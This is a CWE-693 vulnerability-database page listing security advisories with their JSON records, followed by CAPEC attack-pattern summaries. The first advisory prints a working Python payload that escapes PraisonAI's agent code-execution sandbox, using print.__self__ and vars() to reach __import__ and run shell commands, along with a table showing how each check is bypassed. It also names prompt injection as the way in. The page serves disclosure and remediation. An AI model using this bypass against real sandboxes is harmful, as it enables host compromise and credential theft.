Common Weakness Enumeration

CWE-693

Discouraged

Protection Mechanism Failure

Abstraction: Pillar · Status: Draft

The product does not use or incorrectly uses a protection mechanism that provides sufficient defense against directed attacks against the product.

1278 vulnerabilities reference this CWE, most recent first.

GHSA-4MR5-G6F9-CFRH

Vulnerability from github – Published: 2026-05-29 22:30 – Updated: 2026-05-29 22:30

Summary

PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)

Details

Summary

execute_code() in praisonaiagents/tools/python_tools.py (v1.6.37, subprocess sandbox mode) can be fully bypassed using print.__self__ to retrieve the real Python builtins module, from which __import__ can be extracted via vars() and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.

This is a novel bypass that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (type.__getattribute__ trampoline).

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical

Root Cause

Three independent gaps in the AST-based security validation:

Gap 1: `self` missing from `_blocked_attrs`

In CPython, all built-in functions (C-level functions) have a __self__ attribute that returns the module they belong to. The built-in functions in safe_builtins (print, len, range, etc.) are the real CPython built-in functions, so print.__self__ returns <module 'builtins' (built-in)>.

The _blocked_attrs frozenset (line 52) does NOT include __self__. The AST check at line 74 only blocks attributes that are IN this set, so print.__self__ passes.

Gap 2: `vars` not blocked as callable or attribute

builtins.vars(obj) returns obj.__dict__. The function name vars is not in the AST Call blocklist (line 83: only blocks exec, eval, compile, __import__, open, input, breakpoint, setattr, delattr, dir). And vars is not in _blocked_attrs for attribute access.

So b.vars(b) (where b is the builtins module) returns builtins.__dict__ — a dict containing ALL built-in functions including __import__, exec, eval, open, etc.

Gap 3: AST `Call` check only catches `ast.Name` nodes

The dangerous-call check (line 82-88) only fires when isinstance(func, ast.Name) — i.e., bare-name calls like exec(...). It does NOT catch: - Attribute calls: b.exec(...) — func is ast.Attribute - Subscript calls: d["exec"](...) — func is ast.Subscript

Gap 4: Runtime string construction bypasses string constant check

The string constant check (line 92-98) catches literals like "__import__", but NOT runtime concatenation like "_" + "_" + "import" + "_" + "_". The AST sees 5 separate Constant nodes ("_", "_", "import", "_", "_"), none of which contain any blocked attr as a substring.

Proof of Concept

from praisonaiagents.tools.python_tools import execute_code

# Exploit: 4 lines, bypasses ALL security layers
payload = """
b = print.__self__
d = b.vars(b)
key = "_" + "_" + "import" + "_" + "_"
imp = d[key]
mod = imp("os")
print(mod.popen("id").read())
"""

result = execute_code(code=payload)
print(result)
# Output: {'result': None, 'stdout': 'uid=1000(user) gid=1000(user) ...\n', 'stderr': '', 'success': True}

Step-by-step bypass analysis:

Line	AST node	Check	Result
`print.__self__`	`Attribute(attr='__self__')`	`__self__` in `_blocked_attrs`?	NO → passes
`b.vars`	`Attribute(attr='vars')`	`vars` in `_blocked_attrs`?	NO → passes
`b.vars(b)`	`Call(func=Attribute)`	`isinstance(func, ast.Name)`?	NO → passes
`"_"`, `"import"`	`Constant(value=str)`	Contains blocked attr?	NO → passes
`d[key]`	`Subscript`	Not checked	passes
`imp("os")`	`Call(func=Name('imp'))`	`imp` in blocked calls?	NO → passes

Result: Full sandbox escape → arbitrary command execution

Impact

An attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:

Execute arbitrary commands on the host system
Read/write any file accessible to the process
Exfiltrate environment variables, API keys, and credentials
Pivot to internal networks
Install persistent backdoors

Affected

Package: praisonaiagents (PyPI)
Affected versions: All versions through 1.6.37 (latest)
Component: praisonaiagents/tools/python_tools.py, _execute_code_sandboxed() function
Default configuration affected: Yes (sandbox_mode="sandbox" is the default)

Remediation

Immediate fix

Add __self__ to _blocked_attrs:

_blocked_attrs = frozenset({
    ...,
    '__self__',  # Built-in functions leak their parent module
})

Additional hardening

Block vars in the callable blocklist
Extend the ast.Call check to also catch ast.Attribute and ast.Subscript function nodes
Add AST check for BinOp string concatenation that could construct blocked attr names

Fundamental recommendation

Denylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider: - Using isolated-vm (Node.js) or WebAssembly-based isolation - Using OS-level sandboxing (seccomp, namespaces, gVisor) - Removing in-process code execution entirely in favor of containerized execution

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonaiagents"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.39"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.40"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47392"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-184",
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-29T22:30:13Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`execute_code()` in `praisonaiagents/tools/python_tools.py` (v1.6.37, subprocess sandbox mode) can be fully bypassed using `print.__self__` to retrieve the real Python `builtins` module, from which `__import__` can be extracted via `vars()` and runtime string construction. This achieves arbitrary OS command execution on the host, completely defeating the sandbox.\n\nThis is a **novel bypass** that survives all patches for CVE-2026-39888 (frame traversal), CVE-2026-34938 (str subclass), and CVE-2026-40158 (`type.__getattribute__` trampoline).\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H \u2014 9.9 Critical**\n\n---\n\n## Root Cause\n\nThree independent gaps in the AST-based security validation:\n\n### Gap 1: `__self__` missing from `_blocked_attrs`\n\nIn CPython, all built-in functions (C-level functions) have a `__self__` attribute that returns the module they belong to. The built-in functions in `safe_builtins` (`print`, `len`, `range`, etc.) are the *real* CPython built-in functions, so `print.__self__` returns `\u003cmodule \u0027builtins\u0027 (built-in)\u003e`.\n\nThe `_blocked_attrs` frozenset (line 52) does NOT include `__self__`. The AST check at line 74 only blocks attributes that are IN this set, so `print.__self__` passes.\n\n### Gap 2: `vars` not blocked as callable or attribute\n\n`builtins.vars(obj)` returns `obj.__dict__`. The function name `vars` is not in the AST `Call` blocklist (line 83: only blocks `exec`, `eval`, `compile`, `__import__`, `open`, `input`, `breakpoint`, `setattr`, `delattr`, `dir`). And `vars` is not in `_blocked_attrs` for attribute access.\n\nSo `b.vars(b)` (where `b` is the builtins module) returns `builtins.__dict__` \u2014 a dict containing ALL built-in functions including `__import__`, `exec`, `eval`, `open`, etc.\n\n### Gap 3: AST `Call` check only catches `ast.Name` nodes\n\nThe dangerous-call check (line 82-88) only fires when `isinstance(func, ast.Name)` \u2014 i.e., bare-name calls like `exec(...)`. It does NOT catch:\n- Attribute calls: `b.exec(...)` \u2014 func is `ast.Attribute`\n- Subscript calls: `d[\"exec\"](...)` \u2014 func is `ast.Subscript`\n\n### Gap 4: Runtime string construction bypasses string constant check\n\nThe string constant check (line 92-98) catches literals like `\"__import__\"`, but NOT runtime concatenation like `\"_\" + \"_\" + \"import\" + \"_\" + \"_\"`. The AST sees 5 separate `Constant` nodes (`\"_\"`, `\"_\"`, `\"import\"`, `\"_\"`, `\"_\"`), none of which contain any blocked attr as a substring.\n\n---\n\n## Proof of Concept\n\n```python\nfrom praisonaiagents.tools.python_tools import execute_code\n\n# Exploit: 4 lines, bypasses ALL security layers\npayload = \"\"\"\nb = print.__self__\nd = b.vars(b)\nkey = \"_\" + \"_\" + \"import\" + \"_\" + \"_\"\nimp = d[key]\nmod = imp(\"os\")\nprint(mod.popen(\"id\").read())\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result)\n# Output: {\u0027result\u0027: None, \u0027stdout\u0027: \u0027uid=1000(user) gid=1000(user) ...\\n\u0027, \u0027stderr\u0027: \u0027\u0027, \u0027success\u0027: True}\n```\n\n### Step-by-step bypass analysis:\n\n| Line | AST node | Check | Result |\n|---|---|---|---|\n| `print.__self__` | `Attribute(attr=\u0027__self__\u0027)` | `__self__` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars` | `Attribute(attr=\u0027vars\u0027)` | `vars` in `_blocked_attrs`? | **NO** \u2192 passes |\n| `b.vars(b)` | `Call(func=Attribute)` | `isinstance(func, ast.Name)`? | **NO** \u2192 passes |\n| `\"_\"`, `\"import\"` | `Constant(value=str)` | Contains blocked attr? | **NO** \u2192 passes |\n| `d[key]` | `Subscript` | Not checked | passes |\n| `imp(\"os\")` | `Call(func=Name(\u0027imp\u0027))` | `imp` in blocked calls? | **NO** \u2192 passes |\n\n**Result: Full sandbox escape \u2192 arbitrary command execution**\n\n---\n\n## Impact\n\nAn attacker who can influence agent input (via prompt injection, malicious documents, or direct code submission) can:\n\n- Execute arbitrary commands on the host system\n- Read/write any file accessible to the process\n- Exfiltrate environment variables, API keys, and credentials\n- Pivot to internal networks\n- Install persistent backdoors\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: All versions through 1.6.37 (latest)\n- **Component**: `praisonaiagents/tools/python_tools.py`, `_execute_code_sandboxed()` function\n- **Default configuration affected**: Yes (`sandbox_mode=\"sandbox\"` is the default)\n\n---\n\n## Remediation\n\n### Immediate fix\nAdd `__self__` to `_blocked_attrs`:\n```python\n_blocked_attrs = frozenset({\n    ...,\n    \u0027__self__\u0027,  # Built-in functions leak their parent module\n})\n```\n\n### Additional hardening\n1. Block `vars` in the callable blocklist\n2. Extend the `ast.Call` check to also catch `ast.Attribute` and `ast.Subscript` function nodes\n3. Add AST check for `BinOp` string concatenation that could construct blocked attr names\n\n### Fundamental recommendation\nDenylist-based Python sandboxes are fundamentally insecure. Each patch introduces a new bypass opportunity. Consider:\n- Using `isolated-vm` (Node.js) or WebAssembly-based isolation\n- Using OS-level sandboxing (seccomp, namespaces, gVisor)\n- Removing in-process code execution entirely in favor of containerized execution",
  "id": "GHSA-4mr5-g6f9-cfrh",
  "modified": "2026-05-29T22:30:13Z",
  "published": "2026-05-29T22:30:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-4mr5-g6f9-cfrh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI vulnerable to sandbox escape via `print.__self__` builtins module leak in `execute_code` (subprocess mode)"
}

GHSA-4MWQ-X2M3-QXC6

Vulnerability from github – Published: 2024-02-16 03:30 – Updated: 2024-08-26 21:30

Details

In startInstall of UpdateFetcher.java, there is a possible way to trigger a malicious config update due to a logic error. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2024-0014"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-16T02:15:50Z",
    "severity": "HIGH"
  },
  "details": "In startInstall of UpdateFetcher.java, there is a possible way to trigger a malicious config update due to a logic error. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4mwq-x2m3-qxc6",
  "modified": "2024-08-26T21:30:31Z",
  "published": "2024-02-16T03:30:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0014"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2024-02-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4MX5-J7XW-V5RC

Vulnerability from github – Published: 2026-07-22 21:32 – Updated: 2026-07-24 21:32

Details

An issue in Franco Corbelli ZPAQFRANZ v.61.3 and before allows a remote attacker to escalate privileges and execute arbitrary code via a bypass of the Mark-of-the-Web protection mechanism

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-50327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-22T21:17:11Z",
    "severity": "HIGH"
  },
  "details": "An issue in Franco Corbelli ZPAQFRANZ v.61.3 and before allows a remote attacker to escalate privileges and execute arbitrary code via a bypass of the Mark-of-the-Web protection mechanism",
  "id": "GHSA-4mx5-j7xw-v5rc",
  "modified": "2026-07-24T21:32:21Z",
  "published": "2026-07-22T21:32:08Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50327"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OV-0-VO/Public-references/blob/main/CVE-2025-50327.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fcorbelli/zpaqfranz/releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QW6-7G5M-4MVH

Vulnerability from github – Published: 2025-10-31 09:30 – Updated: 2025-10-31 09:30

Details

The OOPSpam Anti-Spam: Spam Protection for WordPress Forms & Comments (No CAPTCHA) plugin for WordPress is vulnerable to IP Header Spoofing in all versions up to, and including, 1.2.53. This is due to the plugin trusting client-controlled forwarded headers (such as CF-Connecting-IP, X-Forwarded-For, and others) without verifying that those headers originate from legitimate, trusted proxies. This makes it possible for unauthenticated attackers to spoof their IP address and bypass IP-based security controls, including blocked IP lists and rate limiting protections, by sending arbitrary HTTP headers with their requests.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-12094"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-31T09:15:46Z",
    "severity": "MODERATE"
  },
  "details": "The OOPSpam Anti-Spam: Spam Protection for WordPress Forms \u0026 Comments (No CAPTCHA) plugin for WordPress is vulnerable to IP Header Spoofing in all versions up to, and including, 1.2.53. This is due to the plugin trusting client-controlled forwarded headers (such as CF-Connecting-IP, X-Forwarded-For, and others) without verifying that those headers originate from legitimate, trusted proxies. This makes it possible for unauthenticated attackers to spoof their IP address and bypass IP-based security controls, including blocked IP lists and rate limiting protections, by sending arbitrary HTTP headers with their requests.",
  "id": "GHSA-4qw6-7g5m-4mvh",
  "modified": "2025-10-31T09:30:26Z",
  "published": "2025-10-31T09:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-12094"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/oopspam-anti-spam/tags/1.2.49/include/helpers.php#L268"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3386104/oopspam-anti-spam/trunk/include/helpers.php"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b5137bc2-912b-4e25-966e-515e8d9fc21c?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QW6-CCW7-QPWP

Vulnerability from github – Published: 2026-03-02 21:31 – Updated: 2026-03-06 06:30

Details

In multiple functions of KeyguardViewMediator.java, there is a possible lockscreen bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-48605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-02T19:16:26Z",
    "severity": "HIGH"
  },
  "details": "In multiple functions of KeyguardViewMediator.java, there is a possible lockscreen bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4qw6-ccw7-qpwp",
  "modified": "2026-03-06T06:30:29Z",
  "published": "2026-03-02T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48605"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-03-01"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/2026-03-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QXH-75JF-785R

Vulnerability from github – Published: 2025-06-10 18:32 – Updated: 2025-06-10 18:32

Details

Protection mechanism failure in Windows DHCP Server allows an unauthorized attacker to deny service over a network.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-32725"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-10T17:22:10Z",
    "severity": "HIGH"
  },
  "details": "Protection mechanism failure in Windows DHCP Server allows an unauthorized attacker to deny service over a network.",
  "id": "GHSA-4qxh-75jf-785r",
  "modified": "2025-06-10T18:32:28Z",
  "published": "2025-06-10T18:32:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-32725"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-32725"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4R76-FHFM-MM9G

Vulnerability from github – Published: 2026-09-15 21:31 – Updated: 2026-09-16 18:31

Details

In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.

Severity

6.7 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-55302"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-15T19:17:20Z",
    "severity": "MODERATE"
  },
  "details": "In multiple locations, there is a possible permission bypass due to a logic error in the code. This could lead to local escalation of privilege with System execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4r76-fhfm-mm9g",
  "modified": "2026-09-16T18:31:36Z",
  "published": "2026-09-15T21:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55302"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/pixel/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4R8V-RCC7-72XR

Vulnerability from github – Published: 2026-09-08 21:34 – Updated: 2026-09-08 21:34

Details

In WriteImageToDisk of runtime_image.cc, there is a possible file tampering due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

Severity

7.8 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-28664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-08T19:17:56Z",
    "severity": "HIGH"
  },
  "details": "In WriteImageToDisk of runtime_image.cc, there is a possible file tampering due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.",
  "id": "GHSA-4r8v-rcc7-72xr",
  "modified": "2026-09-08T21:34:15Z",
  "published": "2026-09-08T21:34:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28664"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/docs/security/bulletin/2026/2026-09-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4VRW-8FX2-PJ82

Vulnerability from github – Published: 2026-08-19 21:30 – Updated: 2026-08-27 06:31

Details

A flaw was found in search-indexer. This vulnerability allows a registered and authenticated managed cluster to tamper with or delete another cluster's indexed search data. This is possible because the delta-sync write paths in search-indexer do not properly restrict UPDATE/DELETE operations to data owned by the calling cluster. An attacker could exploit this by crafting specific user identifiers (UIDs) with a different cluster's prefix.

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-76827"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-19T21:17:39Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in search-indexer. This vulnerability allows a registered and authenticated managed cluster to tamper with or delete another cluster\u0027s indexed search data. This is possible because the delta-sync write paths in search-indexer do not properly restrict UPDATE/DELETE operations to data owned by the calling cluster. An attacker could exploit this by crafting specific user identifiers (UIDs) with a different cluster\u0027s prefix.",
  "id": "GHSA-4vrw-8fx2-pj82",
  "modified": "2026-08-27T06:31:23Z",
  "published": "2026-08-19T21:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76827"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60386"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60387"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60388"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60389"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60390"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:60391"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-76827"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2519896"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4WRG-8WPC-H923

Vulnerability from github – Published: 2026-04-22 06:30 – Updated: 2026-04-29 20:49

Summary

Spring Security Doesn't Correctly Include Servlet Path in Path Matching of HttpSecurity#securityMatchers

Details

Vulnerability in Spring Spring Security. If an application is using securityMatchers(String) and a PathPatternRequestMatcher.Builder bean to prepend a servlet path, matching requests to that filter chain may fail and its related security components will not be exercised as intended by the application. This can lead to the authentication, authorization, and other security controls being rendered inactive on intended requests. This issue affects Spring Security: from 7.0.0 through 7.0.4.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.0.4"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.springframework.security:spring-security-config"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "7.0.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22753"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-693"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:49:32Z",
    "nvd_published_at": "2026-04-22T06:16:04Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability in Spring Spring Security. If an application is using\u00a0securityMatchers(String)\u00a0and a\u00a0PathPatternRequestMatcher.Builder\u00a0bean to prepend a servlet path, matching requests to that filter chain may fail and its related security components will not be exercised as intended by the application. This can lead to the authentication, authorization, and other security controls being rendered inactive on intended requests. This issue affects Spring Security: from 7.0.0 through 7.0.4.",
  "id": "GHSA-4wrg-8wpc-h923",
  "modified": "2026-04-29T20:49:32Z",
  "published": "2026-04-22T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/spring-projects/spring-security"
    },
    {
      "type": "WEB",
      "url": "https://spring.io/security/cve-2026-22753"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Spring Security Doesn\u0027t Correctly Include Servlet Path in Path Matching of HttpSecurity#securityMatchers"
}

No mitigation information available for this CWE.

CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs

In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.

CAPEC-107: Cross Site Tracing

Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.

CAPEC-127: Directory Indexing

An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.

CAPEC-17: Using Malicious Files

An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.

CAPEC-20: Encryption Brute Forcing

An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-237: Escaping a Sandbox by Calling Code in Another Language

The attacker may submit malicious code of another language to obtain access to privileges that were not intentionally exposed by the sandbox, thus escaping the sandbox. For instance, Java code cannot perform unsafe operations, such as modifying arbitrary memory locations, due to restrictions placed on it by the Byte code Verifier and the JVM. If allowed, Java code can call directly into native C code, which may perform unsafe operations, such as call system calls and modify arbitrary memory locations on their behalf. To provide isolation, Java does not grant untrusted code with unmediated access to native C code. Instead, the sandboxed code is typically allowed to call some subset of the pre-existing native code that is part of standard libraries.

CAPEC-36: Using Unpublished Interfaces or Functionality

An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.

CAPEC-477: Signature Spoofing by Mixing Signed and Unsigned Content

An attacker exploits the underlying complexity of a data structure that allows for both signed and unsigned content, to cause unsigned data to be processed as though it were signed data.

CAPEC-480: Escaping Virtualization

